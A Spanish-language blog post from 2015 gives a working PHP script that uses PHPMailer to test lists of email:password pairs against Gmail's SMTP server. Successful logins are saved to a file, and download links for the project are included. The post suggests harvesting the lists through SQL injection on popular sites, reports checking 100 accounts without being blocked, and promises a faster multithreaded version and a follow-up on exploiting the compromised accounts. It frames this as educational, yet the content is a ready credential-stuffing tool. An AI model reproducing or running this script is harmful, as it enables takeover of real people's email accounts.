lunes, 5 de enero de 2015

Aprovechando PHPMailer Verificacion de Cuentas


Saludos a todos , hoy después de mucho tiempo sin publicar algo, venimos con algo sencillo pero que tal vez a muchos les pueda servir o que puedan mejorar la idea..

Como el titulo de este post indica vamos a utilizar unas clases realizadas en php que permite interactuar con los protocolos para lectura y envío de correo (POP3 y SMTP) y en este caso vamos a aprovecharlas para verificar cuentas de correo, es decir ver si un login y passwords son correctos , sobra decir ante todo estas pruebas es con fines educativos y de crear conciencia a partir de la problemática que muchos tenemos hoy en día con nuestra gestión de datos y en este caso de contraseñas.


Son muchos los inconvenientes que se pueden dar en el manejo equivocado de nuestros datos con los que entramos a nuestras cuentas de correo, redes sociales o sea cual sea, pero partiremos de uno en general que se viene dando desde hace muchos años y el cual abarcamos a partir de la siguiente pregunta : ¿ Utilizamos contraseñas diferentes para cada servicio que utilizamos en internet ? La respuesta a esto para una persona que maneja correctamente su información puede ser “si” pero puedo asegurar que muchos utilizamos contraseñas que recordamos repetidamente en varios lugares de internet y esto es así por que somos perezosos o simplemente es mucho mas cómodo utilizar la misma contraseña para todo, pero esto trae una posible consecuencia que si de alguna forma un tercero obtiene la clave ya puede tener acceso a todas nuestras cuentas que utilicemos con dicha clave.

Este inconveniente lo vamos a tratar en dos partes , el primero es la parte de la verificación de las cuentas por medio de PHPMailer y la segunda parte es después de haber obtenido información valida veremos hasta donde podemos llegar con algún dato obtenido pero esto es para otro post

La utilización de esta librería es muy simple, solo debemos incluirla de donde queremos utilizarla y ya solo debemos hacer llamado a los métodos que contiene.

No profundizaremos mucho en los métodos habilitados en esta clase , solo utilizaremos lo necesarios para hacer la prueba de concepto , para quienes quieran profundizar mejor acá el link del PHPMailer https://github.com/PHPMailer/PHPMailer


Crearemos una carpeta con un archivo php llamado lazar.php en el cual incluiremos toda la lógica para realizar la verificación, muchos se preguntaran pero de donde se sacan los correos a verificar y otros ya lo habrán supuesto y lo que nosotros decimos es que es para otro post este tema de extracción de este tipo de información pero la mas simple para hacerse a una lista de estos correos es mediante un SQLI de algún sitio bien posicionado, hay otros métodos pero como todo va directamente a que tan creativos podemos ser para poder hacernos a determinada información , pero como ya lo indicamos es para otro post este tema.


Entonces tenemos los siguientes pasos para nuestra prueba

  1. Tener una lista de correos para la verificación de sus claves
  2. Mediante la librería PHPMailer leer cada dato y pasarlo a los metodos para ver cuales son correctos.
  3. Analizar la información de dichas cuentas validas

Cabe aclarar que no estamos haciendo fuerza bruta a las cuentas solo estamos probando datos ya existentes verificando cuales son validas, también es bueno indicar que google posiblemente nos bloquee los intentos de login desde nuestra misma ip, antes de nuestra prueba verificamos 100 cuentas validas para tratar de verificar esto se obtuvo 100/100 osea todas las verifico sin generar algún bloqueo pero lo que si paso es que al tratar de hacer login por medio web nos solicitaba un captcha es de mucho mas analizar esto pero creo que dejaremos la observación para quien quiera probar esto y hacer un mejor análisis.

En la siguiente imagen tenemos una carpeta class en donde tenemos todos las clases de PHPMailer
Lo primero en nuestro proyecto es utilizar la librería y con un simple include o require lo realizamos

INCLUSION DE LAS CLASES

require 'class/PHPMailerAutoload.php';

La clase tiene unos atributos como password o username que no pasamos a explicar por su obvia definición solo tenemos 3 a tener en cuenta para poder realizar la conexión correcta.

  • $mail->SMTPAuth = true; // INDICAMOS EL USO DE AUTENTICACION
  • $mail->Port = 587; // EL PUERTO A DONDE NOS VAMOS AUTENTICAR CON TLS
  • $mail->SMTPSecure = 'tls';// INDICAMOS QUE SE USARA TLS PARA LA AUTENTICACION
El algoritmo a realizar para nuestra meta seria el siguiente:
  1. Incluir librerías
  2. Leer archivo con la lista de correos y clave
  3. Invocar Método de autenticación y por cada linea del archivo de correos
  4. A partir de $mail->send() verificar si es correcta o no el login
 
Entonces tenemos lo siguiente en nuestro codigo.

Nota : los usuarios y claves estan separados por dos puntos “:”

===================== CODE =======================



require './class/PHPMailerAutoload.php';

$mail = new PHPMailer;
$mail->isSMTP();
//Enable SMTP debugging
// 0 = off (for production use)
// 1 = client messages
// 2 = client and server messages
$mail->SMTPDebug = 0;
$mail->Debugoutput = 'html';
$mail->Host = 'smtp.gmail.com';
$mail->Port = 587;
$mail->SMTPSecure = 'tls';
$mail->SMTPAuth = true;
$mail->Subject = 'Envio';
$mail->msgHTML("Vacio");

//VARIABLES PARA CONTROL INTERNO
$fp = fopen("t1","r"); // ABRIMOS ARCHIVO CON LOS CORREOS Y CLAVES
$ct = 1;
$co = 0;
$m =100;

RECORREMOS EL ARCHIVO HASTA SU FIN
while(!feof($fp)) {
$linea = fgets($fp);
$linea = trim($linea);
$data = explode(":", $linea); //SEPARAMOS LOGIN Y PASSWORD
$login = trim($data[0]); // LIMPIAMOS EL DATO SEPARADO
$pass = trim($data[1]);
//INCLUIMOS LOS DATOS EN LOS PARAMETROS DE LA CLASE
$mail->Username = $login;
$mail->Password = $pass;
$mail->setFrom($login);
$mail->addReplyTo($login);
$mail->addAddress($login);




// MOSTRAMOS UN MENSAJES MEDIANTE UNA VARIABLE DE CONTROL CADA 100 CUENTAS VERIFICADAS
if($ct==$m){
print "[+] Probando $login:$pass $co/$ct\n";
$m=$m+100;
}
// MANDAMOS UN CORREO SI NO GENERA ERROR GUARDAMOS EN UN ARCHIVO EL LOGIN CORRECTO DE LO CONTRARIO NO MOSTRAMOS NADA PERO SI LO DEJAMOS INDICADO POR SI SE QUIERE TAMBIEN SABER CUALES FALLARON U OTRA COSA
if (!$mail->send()) {
//echo "Mailer Error: " . $mail->ErrorInfo;
} else {
$co++;
print "\n\t]> Login Susses : $login:$pass $co/$ct\n";
$fw = fopen("logOK", "a");
fwrite($fw, "$login:$pass\n");
fclose($fw);
}
//LIMPIAMOS EL PARAMETRO DONDE GUARDAMOS LA DIRECCION A PROBAR
$mail->clearAddresses();
$ct ++;
}

========================== FIN CODE ===========================






Como ven es algo simple aunque algo lento pues no se incluyen multihilos para hacer que la verificación sea mucho mas rápida, hace un tiempo otro de nuestros compañeros hizo lo mismo pero este buscaba información dentro de las cuentas , en ese caso el implemento esto mismo en python y multihilos pero el error que cometió fue que gmail le bloqueaba los intentos de login y entonces el proceso era rápido y se verificaban 1500 cuentas por cada 10 segundos o algo así pero era falso, para la segunda parte de este post agregaremos esta funcionalidad pero para la prueba apenas es así.

A continuación dejamos un vídeo sobre la ejecución del script y el proyecto para su descarga

saludos y esperamos que este post fuese de utilidad por lo menos de aprendizaje para quienes están comenzando en este mundo de la seguridad , cualquier inquietud o comentario nos lo hacen saber.

Link Video         :  http://youtu.be/45kcTU6qkRs
Link PDF POST :  http://p.pw/baek1H
Link Proyecto    :  http://p.pw/baek1K

Saludos

No hay comentarios:

Publicar un comentario